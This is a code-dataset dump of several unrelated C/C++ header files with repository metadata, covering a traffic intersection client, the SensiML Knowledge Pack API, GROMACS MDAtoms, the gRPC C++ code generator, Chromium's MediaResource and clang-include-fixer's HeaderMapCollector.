#pragma once #ifndef intersection_client_H #define intersection_client_H #include <string> #include <fstream> #include <vector> #include <unordered_map> #include <math.h> #include "spdlog/spdlog.h" #include "spdlog/cfg/env.h" #include <iostream> #include "OAIDefaultApi.h" using namespace OpenAPI; using namespace std; struct lane_information { /* lane id */ string id; /* lane index */ int index; /* lane type (entry, exit, connection link) */ string type; /* lane direction (right, straight, left) */ string direction; /* lane length */ double length; /* the speed limit on the lane */ double speed_limit; /* lane priority (defined for connection links) * note: a lower integer number indicates a higher priority) * example: straight = 1, left = 2, right = 3 */ int priority; // /* the list of lane ids that are connected to the beginning of the subject lane */ // vector<string> from_id; // /* the list of lane ids that are connected to the end of the subject lane */ // vector<string> to_id; /* the list of lane ids that has conflicting direction with the subject lane */ vector<string> conflicting_lane_id; }; class intersection_client : public QObject { private: bool is_running_indicator; /* intersection name */ string intersection_name; /* intersection id */ int intersection_id; /* number of lanes */ int lane_count; /* list of lanes and their information */ unordered_map<string, lane_information> lane_info; /* list of all lane ids */ vector<string> lane_id_all; /* list of entry lane ids */ vector<string> lane_id_entry; /* list of exit lane ids */ vector<string> lane_id_exit; /* list of connection link ids */ vector<string> lane_id_link; /* a 2D matrix that shows whether two lanes has conflicting directions or not * note: it takes lane indexes as inputs rather than lane ids */ vector<vector<int>> lane_conflict_status; public: intersection_client(/* args */){}; ~intersection_client(){}; void call(); bool is_running(); string get_intersectionName() const; int get_intersectionId() const; int get_laneCount() const; vector<string> get_laneIdAll() const; vector<string> get_laneIdEntry() const; vector<string> get_laneIdExit() const; vector<string> get_laneIdLink() const; int get_laneIndex(string const & lane_id); string get_laneType(string const & lane_id); double get_laneLength(string const & lane_id); double get_laneSpeedLimit(string const & lane_id); bool hasConflict(string const & lane_id1, string const & lane_id2); int get_lanePriority(string const & lane_id); }; #endif
23.680672
89
0.669979
[ "vector" ]
c5dfde243f38850284a036b02c3987d2fe6f32aa
15,162
h
C
knowledgepack/sensiml/inc/kb.h
metanav/Challenge_Climate_Change
bb471fd0178540f4d93b778e20a2f4e597a2634d
[ "MIT" ]
1
2021-06-01T16:24:07.000Z
2021-06-01T16:24:07.000Z
knowledgepack/sensiml/inc/kb.h
metanav/Challenge_Climate_Change
bb471fd0178540f4d93b778e20a2f4e597a2634d
[ "MIT" ]
null
null
null
knowledgepack/sensiml/inc/kb.h
metanav/Challenge_Climate_Change
bb471fd0178540f4d93b778e20a2f4e597a2634d
[ "MIT" ]
1
2021-06-01T16:24:09.000Z
2021-06-01T16:24:09.000Z
/* ---------------------------------------------------------------------- * Copyright (c) 2020 SensiML Coproration * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ---------------------------------------------------------------------- */ /** * @file kb.h * @author SensiML * * @brief Contains the main APIs for interfacing with the Knowlege Pack. * */ #ifndef __KB_H__ #define __KB_H__ #include "kb_typedefs.h" #include "kb_defines.h" //Total Models in this Knowledge Pack #define SENSIML_NUMBER_OF_MODELS 1 //Model Indexes to use for calls #define KB_MODEL_Pipeline_1_rank_4_INDEX 0 #define MAX_VECTOR_SIZE 2 //FILL_SENSIML_SENSOR_USAGES // clang-format off #ifdef __cplusplus extern "C" { #endif /** * @brief Initialize the parameters of all the models, this function must be run * before calling any other functions in the knowledge pack. * * @return void. */ void kb_model_init(); /** * @brief Advance the model so it is ready for new sample data. Call this after * every classification event is received prior to passing in more data. * * This function will increment the feature bank index and call the * segmenter advance function. * * @param[in] model_index - index of the model to reset * @return 1 for success */ int kb_reset_model(int model_index); /** * @brief Flush the internal data stored in the models ring buffer. * * Sets the * * @param[in] model_index - index of the model to reset */ int kb_flush_model_buffer(int model_index); // MODEL RUN HIGH LEVEL APIs /** * @brief Stream single sample of data into model pipeline * * This is the main entry point into the pipeline. It is designed to work on streaming data * and takes a single timepoint of data as an array as input. * * This function implements the following logic: * 1. Runs any sensor transforms or sensor filters * 2. Adds that new to the internal ring buffer of the model * 3. Runs the segmentation against the ring buffer including the new sample * 4. Runs any segment filters or segment transforms * 5. Generates Features * 6. Runs any Feature Transforms * 7. Classify the resulting feature vector using the classifer and returns the result. * * @param[in] pSample Pointer to a single time point of data accross senseors (ie. ax,ay,az) * @param[in] nsesnors number of channels of data or columns in pSample * @param[in] model_index model index to run. * @returns Classification results. 0 if Unkown * -1 when a segment hasn't yet been identified * -2 when a segment has been filtered */ int kb_run_model(SENSOR_DATA_T *pSample, int nsensors, int model_index); /** * @brief Add a custom segment to the pipeline * * Setup the model ring buffer with the user provided * buffer to be used as well as its size. * * @param[in] pSample Pointer to a buffer to use. * @param[in] len length of the ring buffer. * @param[in] nbuffs Number of buffers of length len to create in pBuffer pointer. * @param[in] model_index Model index to use. */ void kb_add_segment(uint16_t *pBuffer, int len, int nbuffs, int model_index); /** * @brief Used to run a segment of data through the pielines. * * This is the main entry point for running chunks of data. Use this after calling * kb_add_segment. Note, this skips the Sensor Transform and Sensor Filter Logic. * * This function implements the following logic: * 1. Runs the segmentation against the ring buffer including the new sample * 2. Runs any segment filters or segment transforms * 3. Generates Features * 4. Runs any Feature Transforms * 5. Classify the resulting feature vector using the classifier and returns the result. * * @param[in] model_index model index to run. * @returns Classification results. 0 if Unkown * -1 when a segment hasn't yet been identified * -2 when a segment has been filtered */ int kb_run_segment(int model_index); // ADVANCED LOW LEVEL APIs for controlling the model pipeline /** * @brief Takes a a single frame of data from the sensor at a time * adds the data to the models internal ring buffer * * @param[in] pSample pointer to the sensor data array. * @param[in] nsesnors number of channels of data or columns in pSample * @param[in] model_index model index to run. * @returns 1 if added 0 if filtered. */ int kb_data_streaming(SENSOR_DATA_T *pSample, int nsensors, int model_index); /** * @brief Performs segmentation on data stored in the models internal ring buffer * * @param[in] model_index model index to run. * @returns 1 if segment found -1 if filtered. */ int kb_segmentation(int model_index); /** * @brief Reset the Feature Generator Bank Index to 0 * * @param[in] model_index model index to run. * @returns Void. */ void kb_feature_generation_reset(int model_index); /** * @brief Generates features from the data stored in the models ring buffer * * @param[in] model_index model index to run. * @returns 1 if features generated -1 if filtered. */ int kb_feature_generation(int model_index); /** * @brief Transform operations on the feature generators stored in the feature banks * and places them into the model feature_vector array. This is performed before classification. * * @param[in] model_index model index to run. * @returns 1 if success */ uint16_t kb_feature_transform(int model_index); /** * @brief Increment the feature bank by one for a model * * @param[in] model_index model index to run. * @returns Void. */ void kb_feature_generation_increment(int model_index); /** * @brief Set the Feature Bank index to 0 * * @param[in] model_index model index to run. * @returns Void. */ void kb_reset_feature_banks(int model_index); /** * @brief Set the feature vector for model index * * @param[in] model_index Model index to use. * @param[in] feature_vector to set the model input to * * @returns the count of features that were set */ int kb_set_feature_vector(int model_index, uint8_t * feature_vector); /** * @brief Send the current feature vector to the classifier for the model * * @param[in] model_index Model index to use. * @returns classification result */ int kb_recognize_feature_vector(int model_index); // MODEL INFO APIs /** * @brief Get the model header information for model index * * @param[in] model_index Model index to use. * @param[in] pointer struct for the particular type of classifier (defined in kb_typdefs.h). * @returns 1 if successful * 0 if not supported for this classifier */ int kb_get_model_header(int model_index, void *model_header); /** * @brief Gets the pointer to 16-byte UUID of model * * @param[in] model_index Model index to get UUID from * @return pointer to 16-byte UUID for model */ const uint8_t *kb_get_model_uuid_ptr(int model_index); #define sml_get_model_uuid_ptr kb_get_model_uuid_ptr /** * @brief Gets the Segment for debug printing, saving. * * @param[in] model_index Model index to use. * @return size of the current segment in the model */ int kb_get_segment_length(int model_index); /** * @brief Gets the Segment length * * @param[in] model_index Model index to use. * @param[in] p_sg_len pointer to fill with segment length */ void sml_get_segment_length(int model_index, int *p_seg_len); /** * @brief Gets the current index of the segment * * @param[in] model_index Model index to use. * @return current segment index (number of samples the model has received so far) */ int kb_get_segment_start(int model_index); /** * @brief Get a copy of the current segment in the buffer * * @param[in] model_index Model index to use. * @param[in] number_samples the number of samples to pull out of the segment * @param[in] index the index from the start of the segment to start copying data from * @param[in] p_sample_data array of size number_samples * number_of_columns (number_columns is depended on the model) * @returns Void. */ void kb_get_segment_data(int model_index, int number_samples, int index, SENSOR_DATA_T *p_sample_data); /** * @brief Gets the size of the feature vector for a model * */ int kb_get_feature_vector_size(int model_index); /** * @brief Fills fv_arr with the values from the currently computed feature vector * for model index * * @param[in] model_index Model index to use. * @param[in] fv_arr Feature Vector to copy into * @returns Void. */ void kb_get_feature_vector_v2(int model_index, uint8_t *fv_arr); /** * @brief Gets the currently computed feature vector for model index * * depricated * * @param[in] model_index Model index to use. * @param[in] fv_arr Feature Vector to copy into * @param[in] p_fv_len Feature vector length to copy * @returns Void. */ void kb_get_feature_vector(int model_index, uint8_t *fv_arr, uint8_t *p_fv_len); #define sml_get_feature_vector kb_get_feature_vector /** * @brief Fill a result object with information about the latest classification * * @param[in] model_index model index to use. * @param[in] model result object for specific to the model you are getting results for * * @returns 1 if success, 0 if not applicatbale to this model type */ int kb_get_classification_result_info(int model_index, void * model_results); /** * @brief Get Debug logging level, if enabled * * @return 1-4, or 0 if disabled. */ int kb_get_log_level(); // PME MODEL SPECIFIC APIs /** * @brief Set the number of stored patterns in a PME model to 0 * * @param[in] model_index model index to use. */ int kb_flush_model(int model_index); #define kb_flush_model flush_model // depricated /** * @brief Get the information for a pattern from the database * * @param[in] model_index Model index to use. * @param[in] pattern_index Pattern index in the classifier to retrieve. * @param[in] pointer struct for the particular type of classifier pattern (defined in kb_typdefs.h). * * @return 1 if successful * 0 if not supported for this classifier, or pattern index is out of bounds */ int kb_get_model_pattern(int model_index, int pattern_index, void *pattern); /** * @brief Add the most recently classified pattern to the database of patterns. * * After receiving a classification, you can tell the model to add this classifiaction as * a pattern with a specific category as well as an influence field. The larger the field * the larger the area this pattern can be activated in. * * @param[in] model_index Model index to use. * @param[in] category Category to set the for the new pattern. * @param[in] influence the size of the influence to set (defined in kb_typdefs.h). * @return 1 if successful * 0 if not supported for this classifier, or pattern index is out of bounds */ int kb_add_last_pattern_to_model(int model_index, uint16_t category, uint16_t influence); /** * @brief Adds a new custom pattern to the database with a label and influence field * * @param[in] model_index Model index to use. * @param[in] feature_vector the new pattern that you are going to add. * @param[in] category Category to set the for the new pattern. * @param[in] influence the size of the influence to set (defined in kb_typdefs.h). * * @returns 0 if model does not support dynamic updates * 1 if model was successfully updated * -1 if model can not be updated anymore */ int kb_add_custom_pattern_to_model(int model_index, uint8_t *feature_vector, uint16_t category, uint16_t influence); /*** * @brief scores the current model based on the input category * * * @param[in] model_index Model index to use. * @param[in] category Category to set the for the new pattern. * * @returns 0 if model does not support scoring * -1 if model can not be scored anymore * 1 if model was successfully scored */ int kb_score_model(int model_index, uint16_t category); /*** * @brief retrain model based on scores * * * @param[in] model_index Model index to use. * * @returns 0 if model does not support retraining * 1 if model was successfully retrained */ int kb_retrain_model(int model_index); // Cascade Reset APIs /** * @brief Run model with cascade feature resets. * * This performs the same as kb_run_model, but is meant for models using cascade * feature generation where it will only classify after all of the feature banks * in the cascade have been filled, then reset the number of feature banks to 0. * This is different from run model, which treats the feature banks as a circular * buffer and constantly classifiers * Classification results will be 0 if unkown through the classification numbers * you have. This function returns -1 when it is wainting for more data to create * a classification.* returns -2 when features were generated for a feature bank * * * @param[in] pSample Pointer to a single time point of data accross senseors (ie. ax,ay,az) * @param[in] nsesnors (unused currently) * @param[in] model_index Model index to use. */ int kb_run_model_with_cascade_reset(SENSOR_DATA_T *pSample, int nsensors, int model_index); /** * @brief This performs the same as kb_run_segment, but is meant for models using cascade * feature generation where the user desires classifications only after all of the feature banks * in the cascade have been filled. After classification all of the feature banks are emptied. * This is different from run model, which treats the feature banks as a circular * buffer and constantly classifiers popping the oldest and adding the newest. * Classification results will be 0 if unkown through the classification numbers * you have. This function returns -1 when it is wainting for more data to create * returns -2 when features were generated for a feature bank * a classification * * @param[in] model_index Model index to use. */ int kb_run_segment_with_cascade_reset(int model_index); #ifdef __cplusplus } #endif // clang-format on #endif //__KB_H__
31.653445
117
0.742712
[ "object", "vector", "model", "transform" ]
c5e431304163ca5222b75ed267725adb6534f82d
4,394
h
C
GROMACS/nonbonded_benchmark/gromacs_source_code/src/gromacs/mdlib/mdatoms.h
berkhess/bioexcel-exascale-co-design-benchmarks
c32f811d41a93fb69e49b3e7374f6028e37970d2
[ "MIT" ]
1
2020-04-20T04:33:11.000Z
2020-04-20T04:33:11.000Z
GROMACS/nonbonded_benchmark/gromacs_source_code/src/gromacs/mdlib/mdatoms.h
berkhess/bioexcel-exascale-co-design-benchmarks
c32f811d41a93fb69e49b3e7374f6028e37970d2
[ "MIT" ]
8
2019-07-10T15:18:21.000Z
2019-07-31T13:38:09.000Z
GROMACS/nonbonded_benchmark/gromacs_source_code/src/gromacs/mdlib/mdatoms.h
berkhess/bioexcel-exascale-co-design-benchmarks
c32f811d41a93fb69e49b3e7374f6028e37970d2
[ "MIT" ]
3
2019-07-10T10:50:25.000Z
2020-12-08T13:42:52.000Z
/* * This file is part of the GROMACS molecular simulation package. * * Copyright (c) 1991-2000, University of Groningen, The Netherlands. * Copyright (c) 2001-2004, The GROMACS development team. * Copyright (c) 2010,2014,2015,2016,2017,2018,2019, by the GROMACS development team, led by * Mark Abraham, David van der Spoel, Berk Hess, and Erik Lindahl, * and including many others, as listed in the AUTHORS file in the * top-level source directory and at http://www.gromacs.org. * * GROMACS is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation; either version 2.1 * of the License, or (at your option) any later version. * * GROMACS is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with GROMACS; if not, see * http://www.gnu.org/licenses, or write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. * * If you want to redistribute modifications to GROMACS, please * consider that scientific software is very special. Version * control is crucial - bugs must be traceable. We will be happy to * consider code for inclusion in the official distribution, but * derived work must not be called official GROMACS. Details are found * in the README & COPYING files - if they are missing, get the * official version at http://www.gromacs.org. * * To help us fund GROMACS development, we humbly ask that you cite * the research papers on the package. Check out http://www.gromacs.org. */ #ifndef GMX_MDLIB_MDATOMS_H #define GMX_MDLIB_MDATOMS_H #include <cstdio> #include <memory> #include <vector> #include "gromacs/gpu_utils/hostallocator.h" #include "gromacs/mdtypes/mdatom.h" #include "gromacs/utility/basedefinitions.h" #include "gromacs/utility/real.h" #include "gromacs/utility/unique_cptr.h" struct gmx_mtop_t; struct t_inputrec; namespace gmx { /*! \libinternal * \brief Contains a C-style t_mdatoms while managing some of its * memory with C++ vectors with allocators. * * The group-scheme kernels need to use a plain C-style t_mdatoms, so * this type combines that with the memory management needed for * efficient PME on GPU transfers. * * \todo Refactor this class and rename MDAtoms once the group scheme * is removed. */ class MDAtoms { //! C-style mdatoms struct. unique_cptr<t_mdatoms> mdatoms_; //! Memory for chargeA that can be set up for efficient GPU transfer. gmx::PaddedHostVector<real> chargeA_; public: // TODO make this private MDAtoms(); ~MDAtoms(); //! Getter. t_mdatoms *mdatoms() { return mdatoms_.get(); } /*! \brief Resizes memory. * * \throws std::bad_alloc If out of memory. */ void resize(int newSize); /*! \brief Reserves memory. * * \throws std::bad_alloc If out of memory. */ void reserve(int newCapacity); //! Builder function. friend std::unique_ptr<MDAtoms> makeMDAtoms(FILE *fp, const gmx_mtop_t &mtop, const t_inputrec &ir, bool rankHasPmeGpuTask); }; //! Builder function for MdAtomsWrapper. std::unique_ptr<MDAtoms> makeMDAtoms(FILE *fp, const gmx_mtop_t &mtop, const t_inputrec &ir, bool useGpuForPme); } // namespace gmx void atoms2md(const gmx_mtop_t *mtop, const t_inputrec *ir, int nindex, const int *index, int homenr, gmx::MDAtoms *mdAtoms); /* This routine copies the atoms->atom struct into md. * If index!=NULL only the indexed atoms are copied. * For the masses the A-state (lambda=0) mass is used. * Sets md->lambda = 0. * In free-energy runs, update_mdatoms() should be called after atoms2md() * to set the masses corresponding to the value of lambda at each step. */ void update_mdatoms(t_mdatoms *md, real lambda); /* When necessary, sets all the mass parameters to values corresponding * to the free-energy parameter lambda. * Sets md->lambda = lambda. */ #endif
35.435484
92
0.698225
[ "vector" ]
c5e5bfde7410dc0431eaff72263d2ffc361d1cbd
2,598
h
C
dev/Gems/AWS/Code/Source/Lambda/FlowNode_LambdaInvoke.h
stickyparticles/lumberyard
dc523dd780f3cd1874251181b7cf6848b8db9959
[ "AML" ]
2
2019-11-29T09:04:54.000Z
2021-03-18T02:34:44.000Z
dev/Gems/AWS/Code/Source/Lambda/FlowNode_LambdaInvoke.h
JulianoCristian/Lumberyard-3
dc523dd780f3cd1874251181b7cf6848b8db9959
[ "AML" ]
null
null
null
dev/Gems/AWS/Code/Source/Lambda/FlowNode_LambdaInvoke.h
JulianoCristian/Lumberyard-3
dc523dd780f3cd1874251181b7cf6848b8db9959
[ "AML" ]
3
2019-05-13T09:41:33.000Z
2021-04-09T12:12:38.000Z
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ #pragma once #pragma warning(disable: 4355) // <future> includes ppltasks.h which throws a C4355 warning: 'this' used in base member initializer list #include <aws/lambda/LambdaClient.h> #pragma warning(default: 4355) #include <Util/FlowSystem/BaseMaglevFlowNode.h> namespace LmbrAWS { ////////////////////////////////////////////////////////////////////////////////////// /// /// Calls a Lambda function /// ////////////////////////////////////////////////////////////////////////////////////// class FlowNode_LambdaInvoke : public BaseMaglevFlowNode<eNCT_Singleton> { public: FlowNode_LambdaInvoke(IFlowNode::SActivationInfo* activationInfo); virtual ~FlowNode_LambdaInvoke() {} protected: const char* GetFlowNodeDescription() const override { return _HELP("Invoke a lambda function in the cloud, optionally providing JSON data as arguments to your Lambda call through the Args port. For more info see http://docs.aws.amazon.com/lambda/latest/dg/API_Invoke.html#API_Invoke_RequestSyntax"); } void ProcessEvent_Internal(IFlowNode::EFlowEvent event, IFlowNode::SActivationInfo* activationInfo) override; Aws::Vector<SInputPortConfig> GetInputPorts() const override; Aws::Vector<SOutputPortConfig> GetOutputPorts() const override; virtual const char* GetClassTag() const override; private: enum EInputs { EIP_Invoke = EIP_StartIndex, EIP_FunctionClient, EIP_RequestBody }; enum EOutputs { EOP_ResponseBody = EOP_StartIndex }; LmbrAWS::Lambda::FunctionClientInputPort m_functionClientPort { EIP_FunctionClient }; void ApplyResult(const Aws::Lambda::Model::InvokeRequest& request, const Aws::Lambda::Model::InvokeOutcome& outcome, const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context); void ProcessInvokePort(IFlowNode::SActivationInfo* pActInfo); }; } // namespace AWS
37.652174
310
0.65358
[ "vector", "model" ]
300a27c5895f21742fc5f26f6ba8e3ed5bdb4735
4,460
h
C
src/compiler/cpp_generator.h
wangzihust/gRPC
123547c9625c56fdf5cb4ddd1df55ae0c785fa60
[ "Apache-2.0" ]
null
null
null
src/compiler/cpp_generator.h
wangzihust/gRPC
123547c9625c56fdf5cb4ddd1df55ae0c785fa60
[ "Apache-2.0" ]
null
null
null
src/compiler/cpp_generator.h
wangzihust/gRPC
123547c9625c56fdf5cb4ddd1df55ae0c785fa60
[ "Apache-2.0" ]
1
2018-03-01T07:37:08.000Z
2018-03-01T07:37:08.000Z
/* * * Copyright 2015 gRPC authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #ifndef GRPC_INTERNAL_COMPILER_CPP_GENERATOR_H #define GRPC_INTERNAL_COMPILER_CPP_GENERATOR_H // cpp_generator.h/.cc do not directly depend on GRPC/ProtoBuf, such that they // can be used to generate code for other serialization systems, such as // FlatBuffers. #include <memory> #include <vector> #include "src/compiler/config.h" #include "src/compiler/schema_interface.h" #ifndef GRPC_CUSTOM_STRING #include <string> #define GRPC_CUSTOM_STRING std::string #endif namespace grpc { typedef GRPC_CUSTOM_STRING string; } // namespace grpc namespace grpc_cpp_generator { // Contains all the parameters that are parsed from the command line. struct Parameters { // Puts the service into a namespace grpc::string services_namespace; // Use system includes (<>) or local includes ("") bool use_system_headers; // Prefix to any grpc include grpc::string grpc_search_path; // Generate Google Mock code to facilitate unit testing. bool generate_mock_code; // Google Mock search path, when non-empty, local includes will be used. grpc::string gmock_search_path; }; // Return the prologue of the generated header file. grpc::string GetHeaderPrologue(grpc_generator::File* file, const Parameters& params); // Return the includes needed for generated header file. grpc::string GetHeaderIncludes(grpc_generator::File* file, const Parameters& params); // Return the includes needed for generated source file. grpc::string GetSourceIncludes(grpc_generator::File* file, const Parameters& params); // Return the epilogue of the generated header file. grpc::string GetHeaderEpilogue(grpc_generator::File* file, const Parameters& params); // Return the prologue of the generated source file. grpc::string GetSourcePrologue(grpc_generator::File* file, const Parameters& params); // Return the services for generated header file. grpc::string GetHeaderServices(grpc_generator::File* file, const Parameters& params); // Return the services for generated source file. grpc::string GetSourceServices(grpc_generator::File* file, const Parameters& params); // Return the epilogue of the generated source file. grpc::string GetSourceEpilogue(grpc_generator::File* file, const Parameters& params); // Return the prologue of the generated mock file. grpc::string GetMockPrologue(grpc_generator::File* file, const Parameters& params); // Return the includes needed for generated mock file. grpc::string GetMockIncludes(grpc_generator::File* file, const Parameters& params); // Return the services for generated mock file. grpc::string GetMockServices(grpc_generator::File* file, const Parameters& params); // Return the epilogue of generated mock file. grpc::string GetMockEpilogue(grpc_generator::File* file, const Parameters& params); // Return the prologue of the generated mock file. grpc::string GetMockPrologue(grpc_generator::File* file, const Parameters& params); // Return the includes needed for generated mock file. grpc::string GetMockIncludes(grpc_generator::File* file, const Parameters& params); // Return the services for generated mock file. grpc::string GetMockServices(grpc_generator::File* file, const Parameters& params); // Return the epilogue of generated mock file. grpc::string GetMockEpilogue(grpc_generator::File* file, const Parameters& params); } // namespace grpc_cpp_generator #endif // GRPC_INTERNAL_COMPILER_CPP_GENERATOR_H
35.396825
78
0.69417
[ "vector" ]
300b1e6aee28309049c0ca66a714bd0095a29266
2,725
h
C
media/base/media_resource.h
Yannic/chromium
ab32e8aacb08c9fce0dc4bf09eec456ba46e3710
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
76
2020-09-02T03:05:41.000Z
2022-03-30T04:40:55.000Z
media/base/media_resource.h
blueboxd/chromium-legacy
07223bc94bd97499909c9ed3c3f5769d718fe2e0
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
45
2020-09-02T03:21:37.000Z
2022-03-31T22:19:45.000Z
media/base/media_resource.h
Yannic/chromium
ab32e8aacb08c9fce0dc4bf09eec456ba46e3710
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
8
2020-07-22T18:49:18.000Z
2022-02-08T10:27:16.000Z
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef MEDIA_BASE_MEDIA_RESOURCE_H_ #define MEDIA_BASE_MEDIA_RESOURCE_H_ #include <vector> #include "base/callback.h" #include "base/macros.h" #include "base/time/time.h" #include "media/base/demuxer_stream.h" #include "media/base/media_export.h" #include "media/base/media_url_params.h" namespace media { // Abstract class that defines how to retrieve "media resources" in // DemuxerStream form (for most cases) or URL form (for the MediaPlayerRenderer // case). // // The derived classes must return a non-null value for the getter method // associated with their type, and return a null/empty value for other getters. class MEDIA_EXPORT MediaResource { public: enum Type { STREAM, // Indicates GetAllStreams() or GetFirstStream() should be used URL, // Indicates GetUrl() should be used }; MediaResource(); MediaResource(const MediaResource&) = delete; MediaResource& operator=(const MediaResource&) = delete; virtual ~MediaResource(); virtual MediaResource::Type GetType() const; // For Type::STREAM: // Returns a collection of available DemuxerStream objects. // NOTE: Once a DemuxerStream pointer is returned from GetStream it is // guaranteed to stay valid for as long as the Demuxer/MediaResource // is alive. But make no assumption that once GetStream returned a non-null // pointer for some stream type then all subsequent calls will also return // non-null pointer for the same stream type. In MSE Javascript code can // remove SourceBuffer from a MediaSource at any point and this will make // some previously existing streams inaccessible/unavailable. virtual std::vector<DemuxerStream*> GetAllStreams() = 0; // A helper function that return the first stream of the given `type` if one // exists or a null pointer if there is no streams of that type. DemuxerStream* GetFirstStream(DemuxerStream::Type type); // For Type::URL: // Returns the URL parameters of the media to play. Empty URLs are legal, // and should be handled appropriately by the caller. // Other types: // Should not be called. virtual const MediaUrlParams& GetMediaUrlParams() const; // This method is only used with the MediaUrlDemuxer, to propagate duration // changes coming from the MediaPlayerRendereClient. // // This method could be refactored if WMPI was aware of the concrete type of // Demuxer* it is dealing with. virtual void ForwardDurationChangeToDemuxerHost(base::TimeDelta duration); }; } // namespace media #endif // MEDIA_BASE_MEDIA_RESOURCE_H_
36.824324
79
0.745321
[ "vector" ]
300e4f7b38e6bfd3d4c55e790d6100dddf5278f9
2,080
h
C
clang-tools-extra/clang-include-fixer/find-all-symbols/HeaderMapCollector.h
medismailben/llvm-project
e334a839032fe500c3bba22bf976ab7af13ce1c1
[ "Apache-2.0" ]
2,338
2018-06-19T17:34:51.000Z
2022-03-31T11:00:37.000Z
clang-tools-extra/clang-include-fixer/find-all-symbols/HeaderMapCollector.h
medismailben/llvm-project
e334a839032fe500c3bba22bf976ab7af13ce1c1
[ "Apache-2.0" ]
3,740
2019-01-23T15:36:48.000Z
2022-03-31T22:01:13.000Z
clang-tools-extra/clang-include-fixer/find-all-symbols/HeaderMapCollector.h
medismailben/llvm-project
e334a839032fe500c3bba22bf976ab7af13ce1c1
[ "Apache-2.0" ]
500
2019-01-23T07:49:22.000Z
2022-03-30T02:59:37.000Z
//===-- HeaderMapCoolector.h - find all symbols------------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #ifndef LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_HEADER_MAP_COLLECTOR_H #define LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_HEADER_MAP_COLLECTOR_H #include "llvm/ADT/StringMap.h" #include "llvm/Support/Regex.h" #include <string> #include <vector> namespace clang { namespace find_all_symbols { /// HeaderMappCollector collects all remapping header files. This maps /// complete header names or header name regex patterns to header names. class HeaderMapCollector { public: typedef llvm::StringMap<std::string> HeaderMap; typedef std::vector<std::pair<const char *, const char *>> RegexHeaderMap; HeaderMapCollector() = default; explicit HeaderMapCollector(const RegexHeaderMap *RegexHeaderMappingTable); void addHeaderMapping(llvm::StringRef OrignalHeaderPath, llvm::StringRef MappingHeaderPath) { HeaderMappingTable[OrignalHeaderPath] = std::string(MappingHeaderPath); }; /// Check if there is a mapping from \p Header or a regex pattern that matches /// it to another header name. /// \param Header A header name. /// \return \p Header itself if there is no mapping for it; otherwise, return /// a mapped header name. llvm::StringRef getMappedHeader(llvm::StringRef Header) const; private: /// A string-to-string map saving the mapping relationship. HeaderMap HeaderMappingTable; // A map from header patterns to header names. // The header names are not owned. This is only threadsafe because the regexes // never fail. mutable std::vector<std::pair<llvm::Regex, const char *>> RegexHeaderMappingTable; }; } // namespace find_all_symbols } // namespace clang #endif // LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_HEADER_MAP_COLLECTOR_H
36.491228
80
0.717308
[ "vector" ]
301e07ed1690f8a9f032cbca05300149d9c6fd33
11,762
h
C
third_party/blink/renderer/core/editing/frame_selection.h
zipated/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
third_party/blink/renderer/core/editing/frame_selection.h
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
